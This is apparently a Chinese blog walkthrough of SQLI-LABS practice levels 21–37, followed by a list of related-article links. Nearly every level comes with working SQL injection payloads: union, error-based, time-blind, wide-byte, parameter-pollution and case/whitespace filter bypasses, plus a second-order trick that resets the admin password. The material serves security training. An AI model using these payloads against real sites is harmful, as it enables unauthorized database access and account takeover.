文章目录

  • 前言
  • 题解
    • Less-21
    • Less-22
    • Less-23
    • Less-24
    • Less-25
    • Less-25a
    • Less-26
    • Less-26a
    • Less-27
    • Less-27a
    • Less-28
    • Less-28a
    • Less-29
    • Less-30
    • Less-31
    • Less-32
    • Less-33
    • Less-34
    • Less-35
    • Less-36
    • Less-37

前言

SQLI-LABS是基于原版修改的php7版

对于空格的绕过:%0A、%0B、%0C、%0D,大多数过滤了所有空白字符(\s)

题解

Less-21

Cookie注入,单引号,base64编码,补全括号

[POST]PAYLOAD:
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAjuname=1&passwd=1

Less-22

Cookie注入,双引号,base64编码

[POST]PAYLOAD:
Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=uname=1&passwd=1

Less-23

过滤了单行注释符,但是右侧接的是LIMIT,可以通过构造一个字符串绕过,达到和注释符一样的效果

[GET]PAYLOAD:
?id=0' union select 1,database(),3 and '

Less-24

这题先看PHP代码审计才知道逻辑,主页是没有注入点的

本题的目标是只知账号,通过更改密码获取控制

首先注册一个新账号,新账号是已知账号+单引号闭合+注释符,如:admin’ —+;登录该账号、修改密码,这个修改密码的操作会修改已知账号admin的密码,从而得到控制权

以下是修改密码的源码:

#pass_change.php
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以看出:我们新注册的带有注释符的账号在WHERE语句完成了闭合,从而修改了已知账号的密码

Less-25

报错注入,过滤AND和OR

这里的过滤很简单,有以下思路:

  • 使用联合查询,无需连接词
  • 使用||&&替代
  • 双写,如:ANANDD

这里给出报错注入、常规注入和时间盲注

[GET]PAYLOAD:
?id=0' union select 1,database(),3  '[GET]PAYLOAD:
?id=0' union select 1,database(),3 anandd '[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||if(ascii(substr(database(),1,1))=115,sleep(2),1)||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'

Less-25a

盲注,整型

[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||if(ascii(substr(database(),1,1))=115,sleep(2),1)||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'

Less-26

报错注入,过滤空格和注释符,同时也过滤了AND和OR

[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database()),1)||'

Less-26a

盲注,闭合括号

[GET]PAYLOAD:
?id=0')||extractvalue(1,concat(0x5c,database()))||('[GET]PAYLOAD:
?id=0')||updatexml(1,concat(0x7e,database()),1)||('

Less-27

报错注入,过滤SELECT和UNION,同时也过滤了AND、OR、空格和注释符

但只是过滤了全小写和首字母大写的SELECT,大小写混合可以绕过

对于空格过滤也只是单纯过滤了空格,使用其他空白字符可以绕过

[GET]PAYLOAD:
?id=?id=0'||if(ascii(substr(database(),1,1))<115,sleep(1),1)||'[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database()),1)||'[GET]PAYLOAD:
?id=0'%0AuNion%0AselEct%0A1,database(),3%0Aand%0A'1

Less-27a

盲注,双引号

[GET]PAYLOAD:
?id=0"||if(ascii(substr(database(),1,1))=115,sleep(1),1)||"[GET]PAYLOAD:
?id=0"||extractvalue(1,concat(0x5c,database()))||"[GET]PAYLOAD:
?id=0"||updatexml(1,concat(0x7e,database(),0x7e),1)||"[GET]PAYLOAD:
?id=0"%0AuNion%0AselEct%0A1,database(),3%0Aand%0A"

Less-28

闭合括号

[GET]PAYLOAD:
?id=0')||extractvalue(1,concat(0x5c,database()))||('[GET]PAYLOAD:
?id=0')||updatexml(1,concat(0x7e,database()),1)||('

Less-28a

盲注,PAYLOAD同上

[GET]PAYLOAD:
?id=0')||if(ascii(substr(database(),1,1))=115,sleep(2),1)||('

Less-29

这道题目加了WAF,正确入口是login.php

这道题目环境是双服务器的,对于同一个参数的两次传入,两种服务器解析的值不同,从而产生了这种注入

[GET]PAYLOAD:
/login.php?id=1&id=0' union select 1,database(),3--+

来源于:

https://blog.csdn.net/qq_43579362/article/details/104325466

https://blog.csdn.net/qq_44276741/article/details/107532555

Less-30

盲注

这里给出联合查询注入,PAYLOAD同上几题

/login.php?id=1&id=0" union select 1,database(),3 --+

Less-31

双引号,闭合括号

/login.php?id=1&id=0") union select 1,database(),3 --+

Less-32

自定义函数添加转义符,使用宽字节注入

注释符需要先Urlencode

[GET]PAYLOAD:
?id=0%df' union select 1,database(),3 %23

Less-33

PHP自带函数添加转义符,宽字节注入,过滤井号

[GET]PAYLOAD:
?id=0%df' union select 1,database(),3 --+

Less-34

POST型宽字节注入

这里不能使用hackbar,由于发包前会进行编码,百分号都会被编成%25

使用burpsuite:

[POST]PAYLOAD:
uname=1&passwd=1%df%27%20union%20select%201,database()%23

Less-35

整型,不需要引号

?id=0 union select 1,database(),3 --+

Less-36

mysql_real_escape_string(string,connection)

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00 \n \r \ ’ " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false

宽字节注入,有两种方法

?id=0%df' union select 1,database(),3%23
?id=0%e9%8c%a6%27 union select 1,database(),3%23

来源于(墙裂推荐):

https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

Less-37

POST型,同上

[POST]PAYLOAD:
uname=1&passwd=0%df' union select 1,database() --+&submit=Submit[POST]PAYLOAD:
uname=1&passwd=0%e9%8c%a6' union select 1,database() --+&submit=Submit

SQLI-LABS——Page-2 Advanced Injections Less21~Less37相关推荐

  1. sqli-labs通关攻略23-37[Advanced Injections]

    Advanced Injections 文章目录 Advanced Injections less-23 less-24 less-25 less-25a less-26 less-26a less- ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  5. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  6. SQLi LABS Less-21

    第21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大 21关的突破口在cookie,用户登录成功后,将用户名进行base64加密后,保存在cookie中 点击提交按钮的时候 ...

  7. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  8. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  9. SQLi LABS Less-31

    第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号 在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示 再输入 1") an ...

  10. SQLi LABS Less-30

    第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号 输入 1" and true-- a,页面正常显示 输入 1&quo ...

最新文章

  1. Python数据结构与算法(第四天)
  2. PWA(Progressive Web App)入门系列:Notification
  3. 如何处理Express异常?
  4. Asp.Net细节性问题精萃
  5. 使用python读取txt坐标文件生成挖空地块_批量
  6. 获取当前user的Session状态
  7. 支付宝小程序获取用户手机号php,小程序登录、获取用户信息、手机号
  8. 【微信公众号】2、申请微信公众平台接口测试帐号
  9. 解决“双系统删除其中一个,BIOS仍然有其启动项”问题
  10. USACO 1359. 城堡(并查集)
  11. CryEngine ViewMat
  12. 微擎模块 抖音口红机 3.2.0+wap登陆1.3.0增加首页banner跳转链接
  13. Excel按列合并相同相邻单元格和拆分单元格
  14. 专科大学计算机基础,2013-2014大学计算机基础教学大纲含AB专科.doc
  15. css textarea行数_超级简单:在一个TextArea中如何限制行数和字符数-阿里云开发者社区...
  16. 什么击计算机窗口可以打开资源管理器,如何打开资源管理器? 5种打开资源管理器的方法...
  17. HDU 2190 悼念512汶川大地震遇难同胞——重建希望小学
  18. 购买本本前必读的十大注意
  19. matlab simulinK笔记06——代数环
  20. 大治河西枢纽二线船闸总体设计(水利设计资料)

热门文章

  1. Window10 开启卓越性能模式
  2. 拯救者Y7000 2020新版Bios关闭开机自检
  3. 深度学习中梯度消失原因、梯度爆炸及解决方案
  4. 慕课软件工程(第五章.初始模块结构图的设计)
  5. 固态硬盘重装系统后进入老系统找东西
  6. 教授专栏14 | 陈泰元: 提升公司治理之路--高管薪酬追回条款
  7. 2021各厂免费云服务器申请攻略(阿里云/腾讯云/华为云)
  8. 【京东笔试题】熊猫吃竹子,回溯
  9. LeetCode题解-6. ZigZag Conversion
  10. pr录制自己声音杂音很重